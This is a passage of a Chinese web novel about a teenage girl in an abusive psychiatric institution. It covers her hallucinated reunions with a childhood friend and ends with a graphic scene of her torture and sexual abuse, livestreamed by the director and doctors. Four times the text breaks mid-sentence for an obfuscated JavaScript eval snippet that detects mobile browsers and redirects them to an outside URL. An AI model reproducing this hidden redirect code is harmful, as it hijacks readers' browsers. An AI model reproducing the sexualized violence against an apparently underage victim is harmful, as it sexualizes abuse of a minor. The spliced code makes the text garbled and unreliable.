他把两个骑坐在艾嘉、驰路身上的女病号一把拽走,其他女病号见来了个气势汹汹不好惹的男人,这才散了。 骑在艾嘉身上的女病号没打够,又被这男人拉开,心里很不爽,望着艾嘉怒骂:“肮脏的东西,这次算你运气好,下次……” 话还没说完,她的右膝盖弯被人重重踢了下,她刚想骂是哪个浑蛋,一个字都没来得及说出口,左膝盖弯也被人重重踢了下,双腿再也站不住,扑通一下跪在艾嘉面前。 “我……”女病号想开口骂,却见站到她身前的男人眼睛里像藏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095775|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀片,又锋利又凛冽,吓得她一哆嗦,马不停蹄地溜了。 艾嘉见周围的人都散了,这才揉着生疼的脑袋,站了起来。 她看向面前这个穿橙色工作服的男人,拍了下他的肩膀,豪迈道:“谢了,哥们!” 八字胡男人不说话,面无表情地看了她一眼,继而走了。 “这哥们好奇怪,怎么不说话。”艾嘉纳闷,“没一点礼貌。” 驰路站到她身边,看着男人的背影:“据说,他是刚来的,是个哑巴。” * 艾嘉坐到那间自己病房外的破旧水泥地上,手里拿着千纸鹤,抬头望天,天空很蓝,水洗过般,云朵很白,宛若棉絮,缕缕阳光穿透云层洒下来,金灿灿的,像照射在那个小山村里的那束光。 小山村里有外婆,外婆做她爱吃的手擀面,面的下面每次都会卧一个鸡蛋,上面会洒些葱花,汤面上浮着绿油油的葱花,飘着一层诱人的油花。 她能吃满满一大碗。 她想念外婆做的手擀面了! 这阳光像照射在泛旧却干净玻璃上的那束光。 干净玻璃里面是一个小小的阳台,阳台上种着一些花花草草,有月季,有芍药,也有茉莉…… 她常看到妈妈摆弄着她喜欢的这些花儿,自从妈妈离开后,这些花儿,也相继枯萎了。 怪她,怪她没有照顾好。 她早上上学早,妈妈会比她起得更早,给她做好了香喷喷的红豆馅的麻团和热乎乎的豆浆。 妈妈做的红豆麻团、豆浆,是她吃过最好吃的。 她想念妈妈做的红豆麻团和豆浆了! 这冬日里的阳光多温暖、多柔和啊!像照射在课桌上的那束光。 课桌前坐着一个眉眼干净清澈的少年,他正握笔写功课,他的手指修长,每个指甲都修剪得圆润干净,他写得字那么让人赏心悦目。 从小,他便是别人口中“邻居家的孩子”。 他是她的竹马迟予辰。 她常来他家,小心翼翼地推开他的房间,又小心翼翼地走到他身后,有时大喊一声,故意吓他一跳,有时挠他咯吱窝痒痒,有时直接趴到他肩膀上,用手蒙住他的双眼,特调皮地用特柔的甜嗓说:“哥哥,猜猜我是谁?” 她的迟哥,有时会被她吓得差点从椅子上弹起来,有时被她挠得咯咯直笑,有时会抓住她的双手说:“小嘉同学,你能不能别这么幼稚了!” 她想念她的迟哥了! 阳光照在她身上暖洋洋的,这阳光似乎有驱散一切黑暗的力量,扫荡了她世界里的所有不堪、肮脏。 她好像还是那个天真无邪、无忧无虑的少女。 依然被外婆、爸爸妈妈疼爱着,依然是他们手心里的宝贝,依然是她迟哥常怼又常呵护的青梅。 她听到有人踩在草地上的声音,轻轻柔柔的响声,不去细听,都听不见。 是谁来了? 艾嘉抬头去看,看到从不远处走来一人,穿着白色上衣、黑色裤子,半边身子在阴影里,半边身子在阳光下。 他又瘦又高,皮肤很白,有一双干净清澈的眼睛。 他的眼睛好亮,似盛满银河。 这人是谁? 30. 迟哥,你为什么不说话 是哪怕再过几个世纪,艾嘉都还会认识的人,是她的迟哥。 他怎么会在这里? 他来找自己了? 艾嘉愣怔地望着他一步一步朝自己走来,满腹惊疑。 他这个浑蛋,终于想通了,所以才来见自己? 还是他放寒假了,所以才有空来见自己? 不管哪种理由,只要他来了,她那颗空荡荡的心,好像一下子被填满了。 “迟哥。”艾嘉小声地喊着。 她站了起来,迈开步子,一步一步朝迟予辰走去,每一步都像走在梦里。 这梦好美,美得她不愿醒来。 “迟哥!”艾嘉终于忍不住跑了起来,扑到迟予辰怀里。 紧紧地,紧紧地抱住他,生怕下一秒他会如泡影般消散。 “迟哥,迟哥,迟哥……”艾嘉一遍遍地喊他的名字。 心里隐藏的所有痛苦、无助、绝望都在这一刻纷至沓来,如果迟哥在她身边就好了,那样他就能好好守护她,她就不用做无助又绝望的破烂布娃娃。 迟哥的胸膛好温暖,跟头顶的暖阳一样。 迟哥的胳膊好结实,抓住,就像抓住了希望。 迟哥的怀抱让人好安心,窝着,像住在无人打扰的海边小屋。 “迟哥,你怎么现在才来?”艾嘉越想越委屈,胸腔里涌动着酸涩,眼眶里泛起泪珠,哗啦,如断线珠子,肆意在脸上流淌。 她把眼泪蹭到迟予辰的衣服上,像个孩子一样地说:“迟哥,你难道一点都不想我吗?” 迟予辰帮她擦眼泪,擦得那么小心、那么轻柔,嘴角扬起一抹弧度,眼里闪着光,用玩世不恭的语气说:“傻瓜,迟哥这不来了吗。” 艾嘉锤他的胸口,一下一下又一下,每一下都那么轻:“迟哥,你去哪里了?” 迟予辰从口袋里拿出一支花,递到她面前:“去当采花大盗了!” 他手里拿的是一枝樱花,树枝上朵朵粉红樱花盛放,一幅美好盛景。 艾嘉惊喜地从他手中接过。 迟予辰从上面摘了一小朵,艾嘉想刚说“有你这样搞破坏的吗”,结果,话还没说出口,他便把这朵花挂在她的右耳上:“樱花仙子,迟哥来晚了。” “迟哥,你带我走,好不好?”艾嘉一刻也不想待在这个鬼地方,她要离开这里,去哪里都好。 迟予辰不说话,只是露出雪白的牙齿看她。 “迟哥,你就带我走吧,我不是什么病人,我很好。”艾嘉摇晃着迟予辰的胳膊,软声说。 迟予辰依旧不说话,眉眼盛笑,透出干净如水的少年感。 “迟哥,你说说话,你怎么不说话?”艾嘉急了,语气不禁急促起来,晃着他胳膊的那只手也越发用力,“迟哥,迟哥,迟哥……你说话啊!” 迟予辰还是没说话,他温柔的眼睛把岁月写成浪漫的诗,像在写梅子味的青春故事。 “迟哥,迟哥……”艾嘉喊了起来,越喊越撕心裂肺。 迟哥,你为什么不说话? 迟哥,你说说话呀! 迟哥,难道你不想带我走? 迟哥,我想跟你走…… …… 有人推她的胳膊,用力推着,在她耳边说:“艾嘉,你好好看看,你眼前有人吗?” 艾嘉睁着她那双满含泪水的眼睛,把眼前的一切看了又看,有绿色的香樟树,有低矮的绿植,有枯萎的草地,唯独没有迟哥。 她愣住了,茫然无措地望着身前,她的迟哥呢?怎么忽然消失了。 她抬手挥去,什么也没有,空的。 “迟哥,迟哥……”艾嘉一遍遍喊他的名字,开始在原地转圈,转了一圈又一圈,还是没看到迟予辰,也没有听到他的任何回应。 “艾嘉,别喊了,你的迟哥,不在这里。”驰路看着此时的艾嘉,觉得她可怜极了,像丢了珍宝的失主。 艾嘉每一次呼喊,都有泪水灌进她的嘴里,咸咸的,涩涩的。 她那颗以为找到皈依的心,瞬间坠入无尽深渊。 人最可悲的,不是体验极苦,而是体验极乐后发现,那不过是幻梦一场。 她的心空了,四处灌着寒风,成了一座破败的岌岌可危的茅草屋。 百花园的尽头可能不是樱花,而是穿过她胸膛的子弹,击碎她的躯体。 * 晚上,艾嘉仍旧偷偷地抱着那盏水晶球。 她躲在被子里,打开水晶球,轻柔的旋律响起,城堡里开始下一场浪漫的雪。 城堡里的沉睡公主,现在应该睡着了吧。 她在做着怎样的美梦? 艾嘉好想做这位沉睡公主,里面没有恶魔,没有禽兽,只有浪漫飞雪和守护着她的骑士。 守护她的骑士,在哪里? 很快,水晶球不响了,灯灭了。 被子里的世界瞬间黑了。 艾嘉茫然地望着看不见的水晶球,猛然觉得此时的沉睡公主,是不是也怕黑,是不是也会遇到禽兽,是不是也没有骑士守护她? 她又不想做沉睡公主了,还是做个普通人吧,平平淡淡地过一生。 艾嘉躺下来,抱着水晶球,摸着水晶球下面那行凸起的字母,想起驰路跟她说的:“艾嘉,你的迟哥,喜欢你吧。” 迟哥,你喜欢我吗? 如果你喜欢我,为什么不来见我? 迟哥,你个浑蛋! 艾嘉将自己严严实实地蒙在被子里,紧紧地把水晶球抱在怀里,把自己蜷缩成最初在妈妈子宫里的模样,身体狠狠地颤抖起来。 须臾,被单湿了一片。 * 第二天,艾嘉借用赵阿姨的手机给爸爸和迟予辰打电话,爸爸没接,迟予辰的电话传来机械的女声:“你拨打的电话已关机。” 她继续打,爸爸仍旧没接,迟予辰的电话仍旧传来机械的女声。 艾嘉没有放弃,再拨,这次,爸爸的电话终于有人接了,不过不是爸爸,是一个女声,声音不悦:“你是艾嘉吧,我是你爸的未婚妻,下次不要再给你爸打电话了,你爸很忙,忙着准备我们的婚礼。” 艾嘉的手顿时没了力气,手机滑落,差点掉落,被赵阿姨及时接住。 赵阿姨看着面部毫无血色的艾嘉,安慰她:“应该不是你爸的想法。” 是不是她爸的想法她不知道,但她爸爸不接她的电话,没有来看过她一次,是真的。 她爸不要她了。 她迟哥也不来看她。 她成了无人问津的布娃娃。 她彻底没有家了! 艾嘉机械地从赵阿姨手里拿过手机,又拨那个熟记于心的手机号,依然传来机械的女声。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104429|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟哥,换手机号了吗? 为什么连他都不要她了? 艾嘉把手机还给赵阿姨,这次连最基本的“谢谢”都没说,呆若木鸡地往病房走,走廊过道被擦得多干净啊,干净得映出她的倒影。 她走啊走,走啊走,脚尖开始踮起,双手开始抬起,脖颈高高扬起。 她旋转着、跳跃着、哼唱着无人知晓的旋律。 她走得那般傲然,每一步都像走在华丽舞台上,只有她一个孤独的舞者。 台上没有一个观众,但她依然如夏花般绽放。 她想起每年新年,爸爸妈妈会给她买新衣,一家人走亲访友,到处都是“新年好”的祝福。 她想起每年生日,爸爸妈妈会给她买蛋糕,总会切最大的一块给她,祝她“生日快乐”。 她想起每年开学,爸爸妈妈会跟她说“新学期,好好学”“小嘉,爸爸看好你”…… 她想起每年除夕,她的迟哥会把她拉到他家阳台,在午夜十二点,一起点燃一根根仙女棒,跟彼此说“新年快乐,大笨蛋”“新年快乐,小傻子”。 她想起每年生日,她的迟哥会给她买一块很小很小的草莓蛋糕,有一年跟她说:“小嘉同学,祝你新的一年不要那么傻了,要傻也要傻得独占鳌头”。 她想起自己不会做数学题时,她的迟哥会敲敲她的脑门儿说:“小嘉同学,这道题这么简单都不会?” 她曾是清晨的露珠,夜晚的明月,夏天的花,海平线上的日光。 她曾那么那么鲜活地盛开过,没有繁花锦簇、光明开道,却也在方寸之地活得干干净净、坦坦荡荡。 假如生命都没一次怒放过,何谈活过? 眼前的人间,就算不是人间,但还有免费空气,让她呼吸。 偶尔有免费阳光,照一照她发霉的身体,让她的细胞还可以再活一次。 哪怕她的身心百无一用,她还是能找到属于她的月光、她的花园、她的浪漫主义。 她的身体,轻盈如蝶,仿佛她是自由的,她可以在她的世界里尽情舞蹈。 可是,为什么跳着跳着,眼前的一切越来越模糊? 为什么脸上有热乎乎的液体? 她什么都没去管,仍旧伸展着瘦弱到要断掉的手臂,跳着不知名的乱舞,仍旧做着幻想国度里的沉睡公主。 * 艾嘉从赵阿姨那儿要来了电池,给水晶球换上,水晶球又亮了。 艾嘉在关灯前,翻开日记本。 2016年2月5日雨天 我拖着残破的身体,行走在沼泽地。 所有的花、树、草,怎么都如此荒凉? 我想念绚丽的烟火、遥远的温柔, 想念怎么流也流不尽的稚嫩时光。 我好想变成小小孩,还没有长大, 还没有被谁抛弃,拥有洁净的身体和灵魂。 小小孩永远为喜欢的一切而心动, 小小孩永远奔赴所爱、奔赴自由, 小小孩的世界没有黑暗,只有光, 小小孩是妈妈手心里的宝贝,是干净的、明媚的。 可是,现在小小孩去了哪里? 某一天,小小孩已经死去,灵魂也分崩瓦解。 哪里是我安定的住所? 哪里会是我的理想国? 我会在这里死去吗? 31. 还会来送千纸鹤吗 写完日记,艾嘉放好日记本,把千纸鹤放到上面,她数了数,一共35只。 她把这35只千纸鹤全部抱在怀里,抱得紧紧的,抱得每一只千纸鹤都变了形。 她没有什么可失去的了,她只剩下这千纸鹤了。 夜晚,艾嘉睡不着,站在被重重铁丝网围住的窗前,看着雨水阵阵浇上来,落了满窗,雨珠晶莹,像世间悲者的眼泪,一直流个不停。 雨夜,那个人,还会来送千纸鹤吗? 她等啊等,眼睛一眨不眨地看着。 等到雨势渐大、雨势渐小,雨停了。 她看到那只手又悄悄地把千纸鹤放在窗前,她看了看墙上的时钟,午夜十二点。 真准时,每次都是午夜十二点。 那只手,手指修长、瘦削、干枯,在黑暗中,笼了暗色。 艾嘉想去看看他是谁,是她的迟哥吗? 她抱着一丝希望,万一是呢。 艾嘉冲出了病房,想从正门离开,值班护士却正在巡房,她吓得连忙退到一边,等值班护士进房检查时,她才迅速地想冲出前门,但前门上了锁,她没有钥匙。 她想去拿钥匙,但在值班台没有翻到,这时,有人拽住她的胳膊,她吓了一跳。 完了,又被抓住了。 艾嘉吓得不敢去看,听到对方说:“跟我来。” 她才转头去看,是赵阿姨。 赵阿姨给她开了后门,她从后门去找那个在她窗前放千纸鹤的人,她跑到自己病房外时,已杳无一人,窗台上放着被雨水打湿的千纸鹤。 艾嘉拿起千纸鹤,又继续在周围找了又找。 忽然,她看到自己的前方出现一道影子,高高瘦瘦的影子。 她很想喊“你是谁”“你站住”,但她尚存的理智告诉她,不能喊,她一喊就要有人抓她回病房了。 她拿着千纸鹤往黑影的地方奔跑,她恨自己跑步的速度太慢,怎么追也追不上那人。 等她跑到那人方才站的地方时,已完全看不见那人的身影了。 * 艾嘉没有回病房,而是往这栋楼的后面走,一直往前走。 开始下雨了,越下越大,雨水浇灌了她满身,她依然往前走。 没有月亮的夜晚,黑暗当道,她偏要往前走,一直往前走,是不是这样,就能走向光明? 她走到了高墙处,竖起的高墙,是一道横在她面前的牢笼。 她好想穿越这座牢笼,去往自由之地。 她没有再找到那几块石头,她不要命地往上爬,攀着破旧的电网,手脚并用,用尽全力。 一次次滑下来,一次次又爬上去,坚持了□□次,她才终于爬上高墙。 她的双手已满是尘土、雨水和血水。 艾嘉坐在高墙上,望向远处,雨雾弥漫,冷意入骨。 这雨好像下小了,远处的海面上似乎有一座高高的灯塔,正亮着灯,灯光遥远又昏黄。 海浪声袭耳,雨水如珍珠链子,一串一串地落入海面,溅起大大小小的水花。 不知何时,雨终于停了。 遥远天际,乌青云层里渐渐钻出缕缕光,月亮冒出了头。 艾嘉双手撑在墙上,双腿晃啊晃,像自由自在的鸟。 “小嘉同学,你怎么坐这里?” 谁,这是谁? 艾嘉简直不敢相信自己的耳朵,这声音,那么熟悉,是迟予辰的。 可怎么会是他呢?是不是自己出现了幻听? 这次,她不抱任何期待,没有朝声音的地方去看。 可是,声音的主人并不打算放过她,继续说: “小嘉同学,我来找你了。” “小嘉同学,你理理迟哥。” “是迟哥不好,迟哥来晚了。” 艾嘉原本筑造的城墙,瞬间坍塌。 她的心不住颤抖,颤得她又疼又委屈。 她终于忍不住,侧头去看。 她看到了一张白皙的帅气脸庞,有着干净清澈的眼眸,是唇红齿白的少年。 是她的迟哥。 是那个在蛋糕上写CLJ,说“随意发挥”的迟哥; 是那个偷偷在城堡水晶球的底座上刻CLJ的迟哥; 是那个她想了很久、念了很久、很想见一面的迟哥。 他终于来了! 艾嘉没有去抱他,而是再三确认地把他看了又看,用不敢置信的语气问:“是你吗,迟哥?”声音有些哑。 “是我,小嘉同学。”迟予辰笑道,他笑起来那么温柔。 “迟哥,我以为你不来了。”艾嘉看着被夜色笼罩的迟哥,他好像瘦了一点。 “怎么会,你是我的小嘉同学,我肯定要来见你的。”迟予辰朝她走来。 “为什么现在才来?”艾嘉有些委屈地问。 “之前一直在上学,现在才放寒假。一放假,我就偷偷跑来找你了。”迟予辰解释。 “你爸妈知道吗?” “没必要让他们知道,我都多大了,来见你还需要向他们汇报吗。” “迟哥,你真是个浑蛋,这么长时间都不给我打一次电话,我打你电话怎么关机了?”艾嘉质问。 “是迟哥不好,迟哥不知道你这边的电话。你给我打电话时,可能我的手机正好没电。”迟予辰腿长个高,三两下爬上高墙。 “这样啊,我以为你不理我了。”艾嘉心头汹涌的委屈这才渐渐落下。 “怎么会不理你。”迟予辰坐在她左侧,侧头望着艾嘉。 “我以为这个世界把我抛弃了,没人要我了。”艾嘉积压在心底的酸楚齐齐涌上来。 “就算全世界把你抛弃了,你的迟哥,会一直在。你的迟哥,不会不要你!” 迟予辰放在围墙上的手,往她搭在围墙上的手挪过去,一点点地挪着,快触碰到她指尖时停住。 “迟哥,你看这海多好看。”艾嘉望向海面,月亮投映下暖光,光影随着海浪起伏,“像不像我们在蓝海湾看过的海?” “像。”迟予辰也望向海面。 “如果能看到蓝眼泪就好了。”艾嘉的眼中露出点期许。 “没有蓝眼泪也很好看。” “是啊。”艾嘉听着海浪声,闻到海水的咸腥味,“迟哥,等天亮了,你带我出去,好不好?” “好!” “我们再去一次蓝海湾,再去看一看海,最好还能看到蓝眼泪。”艾嘉心怀期待。 “好啊。”迟予辰说,“小嘉同学,你知道吗,你站在蓝眼泪里,像一只蓝精灵。” “蓝精灵啊,蓝精灵好。” 蓝精灵无忧无虑地生活在山的那边,她也想无忧无虑地活在这人世间。 “小嘉同学,你在这里过得好吗?”迟予辰看向艾嘉。 艾嘉也看向迟予辰,他的眼睛那么干净,像流淌着清泉。 她口是心非道:“迟哥,我……过得……挺好。” 每个说出口的字,都像破碎的音符。 “我以为你会过得不好。” “为什么会这么想?” “因为你迟哥不在你身边啊。” “什么谬论。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117156|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾嘉终于笑了。 “沉睡公主,怎么能少了骑士的守护。” “我才不是什么沉睡公主,你也不是什么骑士。”艾嘉更正,“我是小嘉同学,你呢,是迟哥。” “好,你是小嘉同学,我是迟哥。” “迟哥,你好像从来没跟我说过,你爸妈为什么给你取名迟予辰。” “是你没问过我。” “现在说说吧,我想听。” “你是知道的,我出生在八月。” “我妈告诉我,她生我那天,生了一天一夜,白天时太阳特别好,她住在病房里,太阳还照在她身上,她又热又疼,热得满脸都是汗,疼得恨不得要把床单绞坏。” “晚上时月亮很亮,星星也很多,她疼了一个白天,快要没有力气生我了,护士让她再使劲、再用力,坚持坚持,我很快就能出来了。” “她说,她有好几次,都去转头看天上的月亮和星星。那时候,她想,那么黑的天空,竟然有那么好看的月亮和星星,她一定要尽早把我生出来,让我早点看一看这美好的世界。” “她就很努力地很努力地用力,比护士预想中更早地让我来到了这个世界。” “我妈说,生之前,她已经跟我爸商量好了,如果我是女孩,就叫迟秋,如果我是男孩,就叫迟立。” “为什么叫迟秋或者叫迟立?”艾嘉疑惑。 “八月份不是正好有两个节气吗,一个立秋,一个处暑。” “不是吧,迟予辰,你爸妈也太敷衍了。按照你爸妈的逻辑,要是再生一个,还出生在本月,岂不是要取名叫,迟处、迟暑了。不过,幸好,没给你取名叫迟暑,如果是这个的话,我真的要笑你一辈子,迟暑,吃薯,一辈子吃红薯的迟哥。”艾嘉想到这儿,忍不住笑了起来,竟然还发出了笑声。 “小嘉同学,你脑子里都装的什么!” 艾嘉停住了笑,又问:“后来呢,怎么不给你取名迟立?” “因为,我妈在生我的那天,看到了很热烈的太阳,也看到了很漂亮的月亮和星星。她说,我从她身体里掉出来时,她脑袋里突然冒出来一个想法,她要去翻翻字典,什么字代表太阳、月亮、星星。都还没出院,她就让我爸买了本字典,翻了一天,终于找到了一个字,就是辰,有一个意思是,日、月、星的统称。”【注】 “这样啊。”艾嘉恍然,“听你这么说,你的名字寓意真好啊。那为什么还要加一个‘予’,是为了好听?” “迟辰,他们觉得这个名字挺多了,就又多想了想。我妈说,她想给予我全世界的太阳、月亮、星星,所以想到了‘予’这个字。” “原来是这样啊!你妈真用心!”艾嘉说,“迟哥,我可是记得你的生日的,阳历八月八号。” “你记得这么清楚,为什么之前不给迟哥送蛋糕?” “蛋糕还需要我准备吗,你爸妈不都给你准备好了。” “你准备的,跟他们准备的不一样。” “怎么不一样?” “心意不一样。” “好了,以后你的每次生日,我都给你准备蛋糕。” “一言为定!”迟予辰伸出小拇指。 “一言为定!”艾嘉也伸出小拇指,勾上迟予辰的。 “迟哥……”艾嘉脸上的笑意散去,露出一抹哀伤,“迟哥……迟哥……” 迟予辰见她欲言又止,笑她:“傻子,你在想什么?我就在你身边,你怎么还喊我?” “我……” 我坏了,迟哥。 这样的话,我要怎么跟你说呢? 32. 我的人生,完蛋了 “你怎么了,小嘉同学?”迟予辰的低哑的声音响在耳畔,好听得像盛大的独奏。 “迟哥,在黑暗里走久的人,会看到黎明吗?” “我想不论是谁,经历过怎样的风暴,在黑暗里走了多久,一直朝前走,一定会看到黎明的。” “如果走不出来呢?” “小嘉同学,我不知道你说的是谁。”迟予辰望着艾嘉说,“如果这个人是你,我愿意陪你一起走过黑暗,一起走到黎明时分。如果你走不出来,我就做你的黎明。” “谢谢迟哥!” “谢什么!”迟予辰伸出右手,修长的指尖即将碰到艾嘉指尖时顿了下,望着她忧伤的眼眸。 “你永远是我的小嘉同学,我会一直陪着你,陪你走过晴天,也陪你走过雨天,直到……我生命熄灭的那天。” “小嘉同学,你千万不要妄自菲薄,生而为人,每个人都耀眼,你也是!” “任何人都可能放弃你,但你要记住,你的迟哥不会。” “小嘉同学,我永远不会放弃你!” 倏忽间,艾嘉感到自己被人打了一枪,不偏不倚地击中心脏。 天地寂静,风雨不再飘摇,身前身后的阴影都消散,她在世界尽头,抓住了她的光。 烟火陋巷,以梦为马,她还是从前的她,是小嘉同学。她的世界,也可以光芒万丈。 假如我要走一条崎岖光明路,哪怕坠身烈焰,哪怕焚烧殆尽,也要无穷期地去靠近。 曾经,我有不少光,如今,光都消失了,只剩下我的迟哥了。 熙攘尘世,谁能为谁加冕,谁能决定谁的墓志铭,都不好说。 在这个隆冬,我追不上流星,抓不住命运。 我只能在贫瘠人间,用单薄的执念,去恪守我的理想主义。 “迟哥……”艾嘉身体前倾,伸开双臂,做出想要拥抱迟予辰的动作。 然而,她抱住的只有寒风和冷意。 她抱住了一场幻念。 她抱住了自己,紧紧抱住。 理想主义,终归只是理想主义。 石头缝里,终究不能开出花儿。 荒芜世界,终究不能盛景遍野。 理想主义,终究不能万事胜意。 春天的树上,终究结不出冬天的冰霜。 艾嘉冬天的树上,也结不出春天的樱花。 结出了一串串晶莹珠子。 温热的,尔后又冰冷。 循环往复,宛若返潮雨季。 她的肩膀颤抖着,声音呜咽着。 像无助的孩子,被黑暗吞噬,被世界抛弃。 呜咽声越来越大,晶莹珠子越来越多。 世界成了无尽的深海,到处都是冰冷的水。 她好像再也想不起儿时的童谣,再也想不起迟哥的模样。 主宰她身体好坏的开关,彻底坏了。 她兀自走在风暴中,注定走不进跳动的脉搏。 风雨无言,死寂肆虐。 天地间,响起轰然响起的吼声。 吼声越来越大,好似要穿透黑夜、刺破苍穹。 她听不到迟哥的回应,听不到妈妈的回应,听不到外婆的回应。 回应她的,是漫天暴雨、呼啸海风、无尽黑暗,还有……忽然窜上来的电流,遍布全身。 她像一面破败旗帜,在黑暗中颓然倒下。 * 艾嘉的意识迷迷糊糊,身体却格外清醒,不断地晃来晃去、晃来晃去,如置身颠簸的船上。 她的眼睛被人蒙着,嘴巴里却没有塞东西。 她感到自己被人抱着,好像要抬到某个地方。 她装作还没醒来,看他们接下来会做什么。 艾嘉被放到了一个茸茸的东西上面,有些扎人,她的手脚被大敞开绑在某个东西上,以一种极其屈辱的姿势。 “这样够结实了。” “把这里也绑下。” “这次用红绳吧。” “红绳不错,这里也绑上。” …… 两个人的声音跟上次一样。 “这次要不加点蜡烛吧,上次弹幕里不少人都希望加蜡烛。” “蜡烛啊,好东西,加!” 后一个声音,艾嘉听着有些耳熟,她仔细想了想,是单院长的声音。 这次也至少三个人,身边传来脚步声,难道是去拿蜡烛了? 他们说的是什么弹幕? 艾嘉感到腹部传来一股热意,这股热,越来越烫,他们是要把you/滴她身上吗? 她开始害怕,心被狠狠揪起,双手想握紧,但克制住,佯装自己没醒。 她好想挣脱绳索,离开这群禽兽,可她无力逃脱,只好任人宰割。 她听到一人说:“各位看官,看好了,这滴油要滴到她的肚子上了。” 啪嗒,滚烫的油滴下来,烫得她想乱动,但她克制住让自己没动。 一滴滴滚烫的油,滴到艾嘉的身上,速度越来越快。 滋,好疼! 她紧紧咬牙,不让自己发出一点声音。 她害怕地想往后缩,但没有地方可以让她缩。 “看吧,这la油滴在她肚子上,是不是像开了一朵朵花。” “有人说,花开得还不够多。” “那你再点只蜡烛过来,一起滴。” 两只蜡烛的蜡油尽情地滴着。 烫意一下又一下地滚过她的肚子,疼得她把牙根都快咬碎。 她硬是没哼一声,没动一下。 “怎么看她的肚子比上次还大,是不是怀孕了。”那人念着。 怀孕?她怀孕了? 她肚子确实一天天变大,时常有呕吐迹象,不过那不是因为她吃多了?不是因为她吃药的后遗症吗? 不可能,她不可能怀孕! “单大人,您还记得第一次shang她的时间吗?” “大概是……10月份吧。” “离现在,也有四个月了。” “可能是怀上单大人的种了吧。” “谁知道是不是我的种,她来我们这儿前,就被人gao/过,还被gao/过很多次,说不定是那个人的。但不管是谁的,不重要,大家喜欢看就行。” “单大人,您看,弹幕里好多人喜欢看huai/yun的。” 这个叫单大人的发出一声淫/笑:“想看啊,我就让他们好好看看!” “她还没醒。” “等会儿看她还醒不醒。”单大人语气里带着点狠厉。 一道鞭子用力地甩到艾嘉的胸/前,她终于疼得忍不住叫了起来。 “看吧,她这不醒了。”单大人得意道。 接下来,是无止尽的鞭打和对她的各种肆虐,比霍盛源对她的要惨烈得多。 她的全身没有一处是不疼的,小腹也坠坠的疼,仿佛要被撕裂开。 她以为单院长人很好,上次还帮她解围,每次看到他,都能看到他格外具有亲和力的笑脸。 她没想到,单院长跟霍盛源是同一类人,都是衣冠禽兽、人面兽心! 他们越是希望她喊、她叫,她偏偏不如他们的意,她不喊一声、不叫一下。 艾嘉死死地咬着牙,咬得腮帮发疼、发麻,整张瘦削的脸都紧紧绷着。 “给我叫!”有人狠狠地把鞭子抽在她身上,她疼得身体颤栗,疼得快要掉下眼泪,可她忍着、憋着,就不叫! “她不叫是吧,你们也来吧,用她的zui!”单大人指挥道。 渐渐地,她的嘴巴不再是她的嘴巴。 是被人撕烂的破泥巴。 是被人随意摆布的残破布娃娃。 她坏了、也碎了。 她构筑的城墙被人砸得稀巴烂。 她的尊严被人狠狠碾压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126455|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被更多人看着。 她不过是他们的玩偶、观摩的对象。 ling/辱持续进行着,完全不把她当人看,完全不顾她死活。 她全身上下,几乎没一处是完好的,都是鞭痕,都是异物。 她很想哭,哪怕掉一滴眼泪也好,好像只有哭才能纾解她这无尽的痛苦。 然而,她一滴眼泪都掉不出来。 她神色麻木,像一株毫无生机的植物。 “大家看到了吧,她成了一块破抹布,破抹布就应该有各种用法。”单大人大笑起来。 “弹幕里大家都在打赏,都说,这次单大人老牛X了。” “行了,收工!”单大人扯开艾嘉蒙在眼睛上的布。 艾嘉不太适应忽然而至的光亮,她眯了眯眼,看到眼前的男人戴着一副狼面具,眼睛很小,笑着,冒着精光,额头很宽很大,半秃。 她想骂一句“禽兽”,但张张嘴,却发不出一点声音,她的嗓子好像坏了。 另外两个人都穿着白大褂,看身形,有些像上次站在院长旁边的两个医生。 真是狼狈为奸! 艾嘉浑身像散了架,被两个白大褂拖着到了一个房间,硬板床,床头放了台仪器。 “开吧,做完她就不会记得在这里发生的事了。”戴着狗面具的医生说。 狐狸面具的医生拿着电击板,朝艾嘉的胸前电去,电得她浑身颤栗,像一个受人控制的电动娃娃。 她麻木的身体终于有了反应。 